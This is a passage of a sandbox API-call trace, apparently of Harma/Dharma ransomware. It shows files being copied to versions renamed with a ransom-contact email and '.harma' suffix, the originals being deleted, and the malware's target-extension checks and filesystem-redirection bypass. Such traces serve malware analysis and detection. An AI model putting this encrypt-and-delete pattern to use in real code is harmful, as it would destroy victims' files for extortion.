dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.236] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.236] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0068.237] GetLastError () returned 0x0 [0068.237] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x127e, lpOverlapped=0x0) returned 1 [0068.239] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1280, lpOverlapped=0x0) returned 1 [0068.240] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.240] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.240] SetEndOfFile (hFile=0x21c) returned 1 [0068.240] CloseHandle (hObject=0x21c) returned 1 [0068.240] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.240] SetEndOfFile (hFile=0x1a0) returned 1 [0068.241] CloseHandle (hObject=0x1a0) returned 1 [0068.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0068.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.242] lstrlenW (lpString=".doc") returned 4 [0068.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.242] lstrlenW (lpString=".docx") returned 5 [0068.242] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.242] lstrlenW (lpString=".pdf") returned 4 [0068.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.242] lstrlenW (lpString=".xls") returned 4 [0068.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.242] lstrlenW (lpString=".xlsx") returned 5 [0068.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.242] lstrlenW (lpString=".ppt") returned 4 [0068.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.242] lstrlenW (lpString=".zip") returned 4 [0068.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.242] lstrlenW (lpString=".rar") returned 4 [0068.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.242] lstrlenW (lpString=".bz2") returned 4 [0068.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.242] lstrlenW (lpString=".7z") returned 3 [0068.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.242] lstrlenW (lpString=".dbf") returned 4 [0068.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.242] lstrlenW (lpString=".1cd") returned 4 [0068.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.242] lstrlenW (lpString=".jpg") returned 4 [0068.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.243] lstrlenW (lpString=".doc") returned 4 [0068.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.243] lstrlenW (lpString=".docx") returned 5 [0068.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.243] lstrlenW (lpString=".pdf") returned 4 [0068.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.243] lstrlenW (lpString=".xls") returned 4 [0068.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.243] lstrlenW (lpString=".xlsx") returned 5 [0068.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.243] lstrlenW (lpString=".ppt") returned 4 [0068.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.243] lstrlenW (lpString=".zip") returned 4 [0068.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.243] lstrlenW (lpString=".rar") returned 4 [0068.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.243] lstrlenW (lpString=".bz2") returned 4 [0068.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.243] lstrlenW (lpString=".7z") returned 3 [0068.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.243] lstrlenW (lpString=".dbf") returned 4 [0068.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.243] lstrlenW (lpString=".1cd") returned 4 [0068.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0068.243] lstrlenW (lpString=".jpg") returned 4 [0068.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.244] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0068.244] lstrlenW (lpString="AN00790_.WMF") returned 12 [0068.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.244] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5684) returned 1 [0068.245] CloseHandle (hObject=0x1a0) returned 1 [0068.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0068.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.245] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.245] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0068.314] GetLastError () returned 0x0 [0068.314] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x1634, lpOverlapped=0x0) returned 1 [0068.316] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1640, lpOverlapped=0x0) returned 1 [0068.317] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.317] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.317] SetEndOfFile (hFile=0x21c) returned 1 [0068.317] CloseHandle (hObject=0x21c) returned 1 [0068.317] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.317] SetEndOfFile (hFile=0x1a0) returned 1 [0068.318] CloseHandle (hObject=0x1a0) returned 1 [0068.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0068.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.319] lstrlenW (lpString=".doc") returned 4 [0068.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.319] lstrlenW (lpString=".docx") returned 5 [0068.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.319] lstrlenW (lpString=".pdf") returned 4 [0068.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.319] lstrlenW (lpString=".xls") returned 4 [0068.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.319] lstrlenW (lpString=".xlsx") returned 5 [0068.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.319] lstrlenW (lpString=".ppt") returned 4 [0068.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.319] lstrlenW (lpString=".zip") returned 4 [0068.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.319] lstrlenW (lpString=".rar") returned 4 [0068.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.319] lstrlenW (lpString=".bz2") returned 4 [0068.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.320] lstrlenW (lpString=".7z") returned 3 [0068.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.320] lstrlenW (lpString=".dbf") returned 4 [0068.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.320] lstrlenW (lpString=".1cd") returned 4 [0068.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.320] lstrlenW (lpString=".jpg") returned 4 [0068.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.320] lstrlenW (lpString=".doc") returned 4 [0068.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.320] lstrlenW (lpString=".docx") returned 5 [0068.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.320] lstrlenW (lpString=".pdf") returned 4 [0068.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.320] lstrlenW (lpString=".xls") returned 4 [0068.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.320] lstrlenW (lpString=".xlsx") returned 5 [0068.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.320] lstrlenW (lpString=".ppt") returned 4 [0068.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.320] lstrlenW (lpString=".zip") returned 4 [0068.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.320] lstrlenW (lpString=".rar") returned 4 [0068.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.320] lstrlenW (lpString=".bz2") returned 4 [0068.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.321] lstrlenW (lpString=".7z") returned 3 [0068.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.321] lstrlenW (lpString=".dbf") returned 4 [0068.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.321] lstrlenW (lpString=".1cd") returned 4 [0068.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0068.321] lstrlenW (lpString=".jpg") returned 4 [0068.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.321] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0068.321] lstrlenW (lpString="AN00853_.WMF") returned 12 [0068.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.322] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=20578) returned 1 [0068.322] CloseHandle (hObject=0x1a0) returned 1 [0068.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0068.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.322] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.322] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0068.322] GetLastError () returned 0x0 [0068.322] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x5062, lpOverlapped=0x0) returned 1 [0068.690] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x5070, lpOverlapped=0x0) returned 1 [0068.691] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.691] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.691] SetEndOfFile (hFile=0x21c) returned 1 [0068.906] CloseHandle (hObject=0x21c) returned 1 [0068.906] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.906] SetEndOfFile (hFile=0x1a0) returned 1 [0068.907] CloseHandle (hObject=0x1a0) returned 1 [0068.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) Thread: id = 13 os_tid = 0x9f0 [0039.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x36102c8 [0039.411] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x36202d0 [0039.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0390 [0039.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5f30b0 [0039.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f03a8 [0039.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3a90020 [0039.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f03c0 [0039.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f03c0, Size=0x20) returned 0x63fab8 [0039.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f03c0 [0039.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f03c0, Size=0x20) returned 0x63fae0 [0039.412] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0039.413] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0039.413] Wow64DisableWow64FsRedirection (in: OldValue=0x2f0ff58 | out: OldValue=0x2f0ff58*=0x0) returned 1 [0039.413] lstrlenW (lpString="kernel32.dll") returned 12 [0039.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fab8 | out: hHeap=0x5a0000) returned 1 [0039.413] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0039.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fae0 | out: hHeap=0x5a0000) returned 1 [0039.413] Sleep (dwMilliseconds=0x64) [0039.570] lstrlenW (lpString="BCD") returned 3 [0039.570] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.570] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.570] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.570] lstrlenW (lpString=".doc") returned 4 [0039.570] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0039.570] lstrlenW (lpString=".docx") returned 5 [0039.570] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0039.570] lstrlenW (lpString=".pdf") returned 4 [0039.570] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0039.570] lstrlenW (lpString=".xls") returned 4 [0039.570] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0039.570] lstrlenW (lpString=".xlsx") returned 5 [0039.570] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0039.570] lstrlenW (lpString=".ppt") returned 4 [0039.571] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0039.571] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.571] lstrlenW (lpString=".zip") returned 4 [0039.571] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0039.571] lstrlenW (lpString=".rar") returned 4 [0039.571] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0039.571] lstrlenW (lpString=".bz2") returned 4 [0039.571] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0039.571] lstrlenW (lpString=".7z") returned 3 [0039.571] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0039.571] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.571] lstrlenW (lpString=".dbf") returned 4 [0039.571] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0039.571] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.571] lstrlenW (lpString=".1cd") returned 4 [0039.571] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0039.571] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.571] lstrlenW (lpString=".jpg") returned 4 [0039.571] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0039.572] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.572] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.572] lstrlenW (lpString=".doc") returned 4 [0039.572] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0039.572] lstrlenW (lpString=".docx") returned 5 [0039.572] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0039.572] lstrlenW (lpString=".pdf") returned 4 [0039.573] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0039.573] lstrlenW (lpString=".xls") returned 4 [0039.573] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0039.573] lstrlenW (lpString=".xlsx") returned 5 [0039.573] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0039.573] lstrlenW (lpString=".ppt") returned 4 [0039.573] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0039.573] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.574] lstrlenW (lpString=".zip") returned 4 [0039.574] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0039.574] lstrlenW (lpString=".rar") returned 4 [0039.574] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0039.574] lstrlenW (lpString=".bz2") returned 4 [0039.574] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0039.574] lstrlenW (lpString=".7z") returned 3 [0039.574] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0039.574] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.574] lstrlenW (lpString=".dbf") returned 4 [0039.574] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0039.574] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.574] lstrlenW (lpString=".1cd") returned 4 [0039.574] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0039.574] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0039.574] lstrlenW (lpString=".jpg") returned 4 [0039.574] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0039.574] lstrcmpiW (lpString1=".LOG1", lpString2=".harma") returned 1 [0039.574] lstrlenW (lpString="BCD.LOG1") returned 8 [0039.574] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0039.750] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=0) returned 1 [0039.750] CloseHandle (hObject=0x170) returned 1 [0039.750] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.750] lstrlenW 